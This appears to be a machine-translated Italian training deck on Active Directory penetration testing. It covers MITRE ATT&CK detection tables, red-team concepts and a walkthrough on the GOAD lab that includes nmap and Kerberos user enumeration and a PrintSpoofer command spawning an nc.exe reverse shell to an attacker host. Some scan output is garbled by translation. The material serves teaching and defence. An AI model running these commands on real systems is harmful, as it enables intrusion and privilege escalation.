

EDUCATION AND TRAINING

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We are creating cutting-edge education and training to advance competencies and professionalism in EU cybersecurity.

OUR VISION

Next level cybersecurity education and training

Test di penetrazione - Directory attiva

CSP010_W

PRESENTAZIONE DA PARTE DI:
CHRISTOS GRIGORIADIS (FOCALE PUNTO)



CyberSecPro creates cutting-edge education and training materials and courses to advance competencies and professionalism in EU cybersecurity.



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Project Agreement no. 101083594

Minacce ad Active Directory: MITRE ATT&CK

MITRE
ATT&CK™

MITRE ATT&CK: Fonti di dati

Data Sources

Data sources represent the various subjects/topics of information that can be collected by sensors/logs. Data sources also include data components, which identify specific properties/values of a data source relevant to detecting a given ATT&CK technique or sub-technique.

Data Sources: 41


ID	Name	Description
DS0026	Active Directory	A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)
DS0015	Application Log	Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)
DS0041	Application Vetting	Application vetting report generated by an external cloud service.
DS0039	Asset	Data sources with information about the set of devices found within the network, along with their current software and configurations
DS0037	Certificate	A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
DS0025	Cloud Service	Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
DS0010	Cloud Storage	Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
DS0017	Command	A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task
DS0032	Container	A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another
DS0038	Domain Name	Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
DS0016	Drive	A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter
DS0027	Driver	A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used
DS0022	File	A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).

MITRE ATT&CK: Richiesta di credenziali per Active Directory

Active Directory: Active Directory Credential Request

A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)

Domain	ID	Name	Detects
Enterprise	T1649	Steal or Forge Authentication Certificates	Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enrollments and signs of abuse within certificate attributes (such as abusable EKUs). ^[2]
Enterprise	T1558	Steal or Forge Kerberos Tickets	Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests. ^{[2][4][5]} Monitor the lifetime of TGT tickets for values that differ from the default domain duration. ^[5] Monitor for indications of Pass the Ticket being used to move laterally.
	.001	Golden Ticket	Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the Ticket being used to move laterally.
	.003	Kerberoasting	Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).
	.004	AS-REP Roasting	Monitor for anomalous activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).
Enterprise	T1550	Use Alternate Authentication Material	Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, such as Windows EID 4769 or 4768, that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.
	.002	Pass the Hash	Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos authentication ticket (TGT) was requested) and 4769 (A Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt.
	.003	Pass the Ticket	Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. ^[5]




MITRE ATT&CK: Accesso agli oggetti di Active Directory

Active Directory: Active Directory Object Access

Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)

Domain	ID	Name	Detects
Enterprise	T1615	Group Policy Discovery	Monitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.
Enterprise	T1003	OS Credential Dumping	Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. ^{[7][8][9]} Note: Domain controllers may not log replication requests originating from the default domain controller account. ^[10] Monitor for replication requests ^[11] from IPs not associated with known domain controllers. ^[12]
	.006	DCSync	Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. ^{[7][8][9]} Note: Domain controllers may not log replication requests originating from the default domain controller account. ^[10]
Enterprise	T1033	System Owner/User Discovery	Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. ^{[7][8][9]} Note: Domain controllers may not log replication requests originating from the default domain controller account. ^[10] Monitor for replication requests ^[11] from IPs not associated with known domain controllers. ^[12]



MITRE ATT&CK: Creazione e cancellazione di oggetti di Active Directory

Active Directory: Active Directory Object Creation

Initial construction of a new active directory object (ex: Windows EID 5137)

Domain	ID	Name	Detects
Enterprise	T1098 .005	Account Manipulation: Device Registration	Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA. ^[13]
Enterprise	T1484	Domain Policy Modification	Monitor for newly constructed active directory objects, such as Windows EID 5137.
		.001 Group Policy Modification	Monitor for newly constructed active directory objects, such as Windows EID 5137.
		.002 Domain Trust Modification	Monitor for newly constructed active directory objects, such as Windows EID 5137.
Enterprise	T1207	Rogue Domain Controller	Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. ^[14]

Active Directory: Active Directory Object Deletion

Removal of an active directory object (ex: Windows EID 5141)

Domain	ID	Name	Detects
Enterprise	T1484	Domain Policy Modification	Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.
		.001 Group Policy Modification	Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.



MITRE ATT&CK: Modifica degli oggetti di Active Directory

Active Directory: Active Directory Object Modification

Changes made to an active directory object (ex: Windows EID 5163 or 5136)

	.005	SID-History Injection	Monitor for changes to account management events on Domain Controllers for successful and failed changes to SID-History. ^{[13] [14]}
Enterprise	T1531	Account Access Removal	Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).
Enterprise	T1098	Account Manipulation	Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA. ^[15]
Enterprise	T1037	Boot or Logon Initialization Scripts	Monitor for changes made in the Active Directory that may use scripts automatically executed at boot or logon initialization to establish persistence.
	.003	Network Logon Script	Monitor for changes made in the Active Directory that may use network logon scripts automatically executed at logon initialization to establish persistence.
Enterprise	T1484	Domain Policy Modification	Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).
	.001	Group Policy Modification	Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).
	.002	Domain Trust Modification	Monitor for changes made to AD settings for unexpected modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain.
Enterprise	T1222	File and Directory Permissions Modification	Monitor for changes made to ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
	.001	Windows File and Directory Permissions Modification	Monitor for changes made to DaCLs and file/directory ownership. Many of the commands used to modify DaCLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Implementation 1 : Access Permission Modification Detection Pseudocode <pre>File_Sddl_Events = \$Select-Log_Events Where (Event_ID == "4670" AND Object_Type == "File" AND Object_Security_ID != "NT AUTHORITY\SYSTEM")</pre> Detection Notes <ul style="list-style-type: none"> • Pseudocode Event ID is for Windows Security Log (Event ID 4670 - Permissions on an object were changed). • We need to exclude events generated by the local system (subject security ID "NT AUTHORITY\SYSTEM") and focus on actual user events. • When a permission modification is made for a folder, a new event log is generated for each subfolder and file under that folder. It is advised to group logs based on handle ID or user ID. • Event ID 4670 also includes information about the process that modifies the file permissions. It is advised to focus on uncommon process names, and it is also uncommon for real-users to perform this task without a GUI. • Windows Event ID 4719 (An Attempt Was Made to Access An Object) can also be used to alert on changes to Active Directory audit policy for a system.
Enterprise	T1556	Modify Authentication Process	Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications.
	.005	Reversible Encryption	Monitor property changes in Group Policy: <code>Computer\Conf\gpcaption\Windows\Settings\Security\Settings\Accounts\Policies\Password_Policy\Force_Passwords_Using_Reversible_Encryption</code> . By default, the property should be set to Disabled.
	.006	Multi-Factor Authentication	Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications.
Enterprise	T1207	Rogue Domain Controller	Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. ^{[17] [18]} Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). ^[14]
Enterprise	T1649	Steal or Forge Authentication Certificates	Monitor for changes to CA attributes and settings, such as AD CS certificate template modifications (ex: EID 4899/4900 once a potentially malicious certificate is enrolled). ^[2]

MITRE ATT&CK: ricerca di attributi e descrizioni di attacchi specifici.

Steal or Forge Kerberos Tickets: Kerberoasting

Other sub-techniques of Steal or Forge Kerberos Tickets (4)	
ID	Name
T1558.001	Golden Ticket
T1558.002	Silver Ticket
T1558.003	Kerberoasting
T1558.004	AS-REP Roasting

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](#).^{[1][2]}

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).^[3] [\[4\]\[5\]\[6\]\[7\]](#)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).^{[1][2]} Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.^{[2][1] [7]}

This same behavior could be executed using service tickets captured from network traffic.^[2]

Cracked hashes may enable [Persistence](#), [Privilege Escalation](#), and [Lateral Movement](#) via access to [Valid Accounts](#).^[8]

ID: T1558.003

Sub-technique of: [T1558](#)

- [Tactic: Credential Access](#)
- [Platforms: Windows](#)
- [System Requirements: Valid domain account or the ability to sniff traffic within a domain](#)


Contributors: [Praetorian](#)

Version: 1.2

Created: 11 February 2020

Last Modified: 30 March 2023

[Version Permalink](#)



MITRE ATT&CK: ricerca di attributi e descrizioni di attacchi specifici.

Procedure Examples

ID	Name	Description
S1063	Brute Ratel C4	Brute Ratel C4 can decode Kerberos 5 tickets and convert it to hashcat format for subsequent cracking. ^[8]
S0363	Empire	Empire uses PowerSploit's <code>Invoke-Kerberoast</code> to request service tickets and return crackable ticket hashes. ^[9]
G0046	FIN7	FIN7 has used Kerberoasting for credential access and to enable lateral movement. ^[10]
S0357	Impacket	Impacket modules like <code>GetUserSPNs</code> can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat. ^[11]
C0014	Operation Wocao	During Operation Wocao, threat actors used PowerSploit's <code>Invoke-Kerberoast</code> module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline. ^[12]
S0194	PowerSploit	PowerSploit's <code>Invoke-Kerberoast</code> module can request service tickets and return crackable ticket hashes. ^{[13][7]}
S1071	Rubeus	Rubeus can use the <code>KerberosRequestorSecurityToken.GetResponse</code> method to request kerberoastable service tickets. ^[14]
S0692	SILENTRINITY	SILENTRINITY contains a module to conduct Kerberoasting. ^[15]
C0024	SolarWinds Compromise	During the SolarWinds Compromise, APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline. ^[16]
G0102	Wizard Spider	Wizard Spider has used Rubeus, Mimikatz Kerberos module, and the <code>Invoke-Kerberoast</code> cmdlet to steal AES hashes. ^{[17][18][19][20]}



MITRE ATT&CK: ricerca di attributi e descrizioni di attacchi specifici.

Mitigations

ID	Mitigation	Description
M1041	Encrypt Sensitive Information	Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. ^[2]
M1027	Password Policies	Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. ^[2] Also consider using Group Managed Service Accounts or another third party product such as password vaulting. ^[2]
M1026	Privileged Account Management	Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. ^[2]

Detection

ID	Data Source	Data Component	Detects
DS0026	Active Directory	Active Directory Credential Request	Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).



Red Teaming

- o1. Che cos'è il Red Teaming
- o2. Red Teaming vs Pentesting
- o3. Ciclo di vita dell'attacco
- o4. MITRE ATT&CK
- o5. Introduzione al rosso atomico



Che cos'è il Red Teaming

Operazioni della squadra rossa

- Scopo delle operazioni Red Team: Simulare attacchi a tutto campo per testare la sicurezza dell'infrastruttura digitale, dei dipendenti, delle applicazioni e della sicurezza fisica.
- Simulazione di avversari reali: Replicare le tecniche utilizzate dagli avversari reali per scoprire le vulnerabilità e valutare le capacità difensive dell'azienda.
- Ciclo di vita completo dell'attacco: Le operazioni coprono l'intero ciclo di vita di un attacco, fornendo una valutazione completa della preparazione alla sicurezza.
- Rivelazione delle vulnerabilità: Identifica molteplici vettori di attacco e punti deboli che non vengono tipicamente riscontrati nei test di penetrazione standard.



Che cos'è il Red Teaming

Impatto e integrazione con il Blue Team


- Risultati attuabili: I risultati del Red Team vengono utilizzati per migliorare le misure di sicurezza e prepararsi a potenziali minacce.
- Collaborazione con il Blue Team:
- Ruolo del Blue Team: Professionisti della sicurezza incaricati dell'identificazione delle vulnerabilità, della correzione e della verifica dell'efficacia.
- Utilizzo dei risultati: Sviluppare firme per le minacce informatiche, implementare protezioni e migliorare la sicurezza delle infrastrutture.
- Addestramento e tempra:
- Formare i dipendenti a resistere all'ingegneria sociale.
- Rettificare le vulnerabilità identificate durante le operazioni.
- Emulazione APT: I Red Team emulano le tecniche delle Advanced Persistent Threats per testare i meccanismi di difesa a lungo termine.



Red Teaming vs Pentesting

Pentesting	Red Teaming
Ambito definito	Nessun ambito definito
Utilizzato per identificare e sfruttare le vulnerabilità	Emula il comportamento dell'avversario
Fornisce un rapporto sui risultati che vengono di conseguenza utilizzati dalle aziende per applicare patch, rinforzare e proteggere le loro infrastrutture.	Utilizzato per valutare la resilienza di un'organizzazione contro gli attacchi degli avversari.
Prevenzione anziché investigazione. I test di penetrazione sono utili per identificare le vulnerabilità e le minacce, ma non forniscono risultati utilizzabili per il rilevamento proattivo delle minacce in futuro.	Fornisce risultati utilizzabili per il rilevamento.


Ciclo di vita dell'attacco



Ciclo di vita dell'attacco - Ricognizione iniziale

Attack Lifecycle – Initial Reconnaissance

- Open source intelligence gathering
- Network and application reconnaissance
- Remote access identification




Ciclo di vita dell'attacco

Compromissione iniziale

Attack Lifecycle – Initial Compromise


- Social engineering
- Internet-based attack
- Leverage service provider



Ciclo di vita dell'attacco: stabilire un punto d'appoggio

Attack Lifecycle – Establish Foothold


- Backdoors
- Remote access subversion



Ciclo di vita dell'attacco - Escalation dei privilegi

Attack Lifecycle – Escalate Privileges

- Credential harvesting
- Password cracking
- Pass-the-Hash




Ciclo di vita dell'attacco

Ricognizione interna

Attack Lifecycle – Internal Reconnaissance


- Critical system identification
- System enumeration
- Account and password enumeration



Ciclo di vita dell'attacco - Movimento laterale

Attack Lifecycle – Lateral Movement


- Remote command execution
- Remote administration tools



Ciclo di vita dell'attacco - Mantenere la presenza

Attack Lifecycle – Maintain Presence


- Command and control
- Remote access subversion
- Account abuse



Ciclo di vita dell'attacco - Missione completata


Attack Lifecycle – Complete Mission

- Data staging
- Data exfiltration
- Data modification
- Data destruction




Ciclo di vita dell'attacco-APT32

Attack Lifecycle – APT32



Active Directory Cyber Range-GOAD




Struttura AD

AD cyber range è in realtà composto da cinque macchine virtuali:

- kingslanding: DC01 in esecuzione su Windows Server 2019 (con windefender disabilitato per impostazione predefinita)
- winterfell: DC02 in esecuzione su Windows Server 2019 (con windefender disabilitato per impostazione predefinita)
- castelblack: SRV02 in esecuzione su Windows Server 2019 (con windefender disabilitato per impostazione predefinita)
- meereen: DC03 in esecuzione su Windows Server 2016 (con windefender disabilitato di default)
- braavos: SRV03 in esecuzione su Windows Server 2016 (con windefender disattivato per impostazione predefinita)



Ambiente AD - GOAD personalizzato



Ciclo di vita dell'attacco su GOAD

- Tattiche di social engineering utilizzate per compromettere un account VPN
- Ricognizione dell'utente e dell'host per raccogliere informazioni
- Distribuzione di una webshell sul server Castelblack per il controllo remoto
- Creazione di condivisioni di rete furtive per l'invio di malware
- Escalation dei privilegi attraverso la vulnerabilità di PrintSpoofer
- Estrazione della memoria con Mimikatz per acquisire credenziali sensibili



Ciclo di vita dell'attacco su GOAD. Riconoscizione iniziale

```
nmap -Pn -p- -sC -sV -oA full_scan_goad
```

```
Rapporto di scansione Nmap per
192.168.56.10 L'host è attivo (latenza
0,0068s).
Non mostrato: 65513 porte tcp filtrate (senza risposta)
PORT STATE SERVICE VERSION
53/tcp dominio aperto Simple DNS Plus 80/tcp
http aperto      Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| metodi http:
|Metodi potenzialmente rischiosi: TRACCIA
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:24Z) 135/tcp
open msrpc      Microsoft Windows RPC
139/tcp aperto netbios-ssn Microsoft Windows netbios-ssn
389/tcp aprire ldap      Microsoft Windows Active Directory LDAP (dominio: sevenkingdoms.local0., sito: Default-First-Site-Name) 445/tcp
open microsoft-ds?
464/tcp aprire kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Default-First-Site-Name) 3268/tcp open
ldap Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Nome del sito predefinito) 3269/tcp aperto ssl/ldap
Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Nome del sito predefinito) 3389/tcp aperto ms-wbt-server
Microsoft Terminal Services
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp
open mc-nmf .NET Message Framing
49667/tcp aprire msrpc      Microsoft Windows RPC
49670/tcp aprire msrpc      Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc      Microsoft Windows RPC
49674/tcp aprire msrpc      Microsoft Windows RPC
49688/tcp aprire msrpc      Microsoft Windows RPC
49725/tcp aprire msrpc      Microsoft Windows RPC
```



Ciclo di vita dell'attacco su GOAD

- Ricognizione iniziale

```
nmap -Pn -p- -sC -sV -oA full_scan_goad
```

Rapporto di scansione Nmap per
192.168.56.11 L'host è attivo (latenza
0,0076s).

Non mostrato: 65517 porte tcp filtrate (senza risposta)

PORTO	STATO	SERVIZIO	VERSIONE
-------	-------	----------	----------

53/tcp	dominio aperto		DNS semplice Plus
--------	----------------	--	-------------------

88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:31Z) 135/tcp
--------	------	--------------	---

open msrpc		Microsoft Windows RPC	
------------	--	-----------------------	--

139/tcp aperto	netbios-ssn	Microsoft Windows netbios-ssn	
----------------	-------------	-------------------------------	--

389/tcp aperto	ldap	Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Default-First-Site-Name)	
----------------	------	---	--

445/tcp aprire	microsoft-ds?	464/tcp aprire	kpasswd5?
----------------	---------------	----------------	-----------

636/tcp aperto	tcpwrapped		
----------------	------------	--	--

3268/tcp aperto	ldap	Microsoft Windows Active Directory LDAP (Dominio: sevenkingdoms.local0., Sito: Default-First-Site-Name)	
-----------------	------	---	--

3269/tcp aperto	tcpwrapped		
-----------------	------------	--	--

3389/tcp open	ms-wbt-server	Servizi terminal	Microsoft
---------------	---------------	------------------	-----------

5986/tcp aperto	ssl/http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)	
-----------------	----------	---	--

9389/tcp aprire	mc-nmf	Cornice di messaggi .NET	
-----------------	--------	--------------------------	--

49670/tcp open	ncacn_http	Microsoft Windows RPC over HTTP 1.0	49671/tcp
----------------	------------	-------------------------------------	-----------

open msrpc		Microsoft Windows RPC	
------------	--	-----------------------	--

49676/tcp aprire	msrpc	Microsoft Windows RPC	
------------------	-------	-----------------------	--

49677/tcp aprire	msrpc	Microsoft Windows RPC	
------------------	-------	-----------------------	--

49715/tcp aprire	msrpc	Microsoft Windows RPC	
------------------	-------	-----------------------	--



Ciclo di vita dell'attacco su GOAD - Ricognizione iniziale

```
nmap -Pn -p- -sC -sV -oA full_scan_goad
```

Rapporto di scansione Nmap per
192.168.56.12 L'host è attivo (latenza
0,011s).

Non mostrato: 65513 porte tcp filtrate (senza risposta)

PORTO	STATO	SERVIZIO	VERSIONE
53/tcp	dominio aperto		DNS semplice Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (ora del server: 2023-05-13 13:43:36Z) 135/tcp
open msrpc		Microsoft Windows RPC	
139/tcp	aperto	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: Default-Nome-Sito)
445/tcp	open	microsoft-ds	Windows Server 2016 Standard Evaluation 14393 microsoft-ds (gruppo di lavoro: ESSOS) 464/tcp
open kpasswd5?			
593/tcp	open	ncacn_http	Microsoft Windows RPC su HTTP 1.0
636/tcp	aperto	ssl/ldap	Microsoft Windows Active Directory LDAP (Dominio: essos.local, Sito: Default- Nome-Sito)
3268/tcp	aperto	ldap	Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: Default- First-Site-Name)
3269/tcp	aperto	ssl/ldap	Microsoft Windows Active Directory LDAP (dominio: essos.local, sito: default-primosito-nome)
3389/tcp	open	ms-wbt-server	Servizi terminal Microsoft
5985/tcp	aprire	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp	aperto	ssl/http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp	aperto	mc-nmf	Cornice di messaggi .NET
49666/tcp	aprire	msrpc	Microsoft Windows RPC
49667/tcp	aprire	msrpc	Microsoft Windows RPC
49669/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0 49670/tcp
open msrpc			Microsoft Windows RPC
49672/tcp	aprire	msrpc	Microsoft Windows RPC
49686/tcp	aprire	msrpc	Microsoft Windows RPC
55372/tcp	aprire	msrpc	Microsoft Windows RPC

Info sul servizio: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows



Ciclo di vita dell'attacco su GOAD

- Ricognizione iniziale

```
nmap -Pn -p- -sC -sV -oA full_scan_goad
```

Rapporto di scansione Nmap per

192.168.56.22 L'host è attivo (latenza 0,013s).

Non mostrato: 65528 porte tcp filtrate (senza risposta)

PORTO	STATO	SERVIZIO	VERSIONE
80/tcp	aprire	http	Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_metodi http:

|_Metodi potenzialmente rischiosi: TRACCIA

|_http-title: Il sito non ha un titolo (text/html).

135/tcp aperto msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Servizi terminal Microsoft

5986/tcp aperto ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

49669/tcp aprire msrpc Microsoft Windows RPC

Informazioni sul servizio: OS: Windows; CPE: cpe:/o:microsoft:windows

Rapporto di scansione Nmap per

192.168.56.23 L'host è attivo (latenza 0,0070s).

Non mostrato: 65525 porte tcp filtrate (senza risposta)

PORTO	STATO	SERVIZIO	VERSIONE
80/tcp	aprire	http	Microsoft IIS httpd 10.0

|_http-title: IIS Windows Server

|_metodi http:

|_Metodi potenzialmente rischiosi: TRACCIA

|_http-server-header: Microsoft-IIS/10.0

135/tcp aperto msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp aperto microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 1433/tcp aperto ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM 3389/tcp

aperto ms-wbt-server Microsoft Terminal Services

5985/tcp aprire http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5986/tcp aprire ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

49668/tcp aprire msrpc Microsoft Windows RPC

49779/tcp aperto msrpc Microsoft Windows RPC

Informazioni sul servizio: Sistemi operativi: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Ciclo di vita dell'attacco su GOAD

- Ricognizione iniziale

Enumerazione dei nomi utente tramite Kerberos:

```
nmap -T2 -p 88 --script=krb5-enum-users --script-args = "krb5-enum-users.realm = 'north.sevenkingdoms.local', userdb=got_users.txt" 192.168.56.11
```

```
1 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 23:34 EEST
2 Nmap scan report for 192.168.56.11
3 Host is up (0.0032s latency).
4
5 PORT      STATE SERVICE
6 88/tcp    open  kerberos-sec
7 | krb5-enum-users:
8 | Discovered Kerberos principals
9 |   hodor@north.sevenkingdoms.local
10 |   jeor.mormont@north.sevenkingdoms.local
11 |   rickon.stark@north.sevenkingdoms.local
12 |   catelyn.stark@north.sevenkingdoms.local
13 |   samwell.tarly@north.sevenkingdoms.local
14 |   jon.snow@north.sevenkingdoms.local
15 |   sansa.stark@north.sevenkingdoms.local
16 |   robb.stark@north.sevenkingdoms.local
17 |_   arya.stark@north.sevenkingdoms.local
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
20
```



Ciclo di vita dell'attacco su GOAD - Stabilire il punto d'appoggio - Compromissione iniziale - Server IIS

Strumenti di attacco nella condivisione di rete come winpeas, printspoofer ecc.

```
Import bookmarks... Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google H
Volume in drive X has no label.
Volume Serial Number is ABCD-EFAA Command:  excute

Directory of X:\

05/24/2023 06:29 AM          7,168 shell-x64.exe
05/15/2023 03:59 AM          1,400 cmdasp.aspx
06/06/2023 06:40 AM           103 north.sevenkingdoms_users.txt
05/24/2023 01:31 PM          1,001 got_users.txt
06/06/2023 08:03 AM <DIR>          sprayhound
06/08/2023 10:19 AM        59,392 nc.exe
05/24/2023 06:34 AM     1,105,985 Invoke-SweetPotato.ps1
05/14/2023 01:20 PM          3,836 shell.aspx
05/24/2023 06:57 AM <DIR>          Microsoft
05/13/2023 06:52 AM        15,725 full_scan_goad.nmap
05/13/2023 06:52 AM       120,717 full_scan_goad.xml
05/24/2023 01:37 PM          427 essos.local_users.txt
05/15/2023 06:00 AM       62,548 winpeas.txt
05/13/2023 03:35 AM        8,159 pfSense-UDP4-1194-vpnuser1-config (2).ovpn
05/24/2023 01:42 PM          593 sevenkingdoms.local_users.txt
05/13/2023 06:52 AM        5,600 full_scan_goad.gnmap
05/24/2023 01:34 PM          683 north.sevenkingdoms.local_users.nmap
06/08/2023 10:12 AM          1,259 Inveight.txt
05/24/2023 07:46 AM     347,648 JuicyPotato.exe
10/05/2022 06:02 PM     768,000 Inveigh.exe
06/06/2023 07:41 AM          1,271 khal.drogo.ccache
06/08/2023 10:19 AM          27,136 PrintSpoofer.exe
05/15/2023 05:26 AM        35,946 winPEAS.bat
05/15/2023 03:53 AM          1,181 cmd-asp-5.1.asp
      22 File(s)          2,583,970 bytes
       2 Dir(s)              0 bytes free
```



Ciclo di vita dell'attacco su GOAD - Stabilire il punto d'appoggio - Compromissione iniziale - Server IIS

Escalation dei privilegi locali

copia X:\nc.exe C:\tmp\nc.exe

rlwrap nc -lvnp 1337

X:\PrintSpoofer.exe -c "c:\tmp\nc.exe 10.0.8.2 1337 -e cmd"

```
(chris@kali)-[~/GOAD]
└─$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.0.8.2] from (UNKNOWN) [192.168.56.22] 49780
Microsoft Windows [Version 10.0.17763.4377]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>|
```



Ciclo di vita dell'attacco su GOAD - Stabilire il punto d'appoggio - Escalation dei privilegi

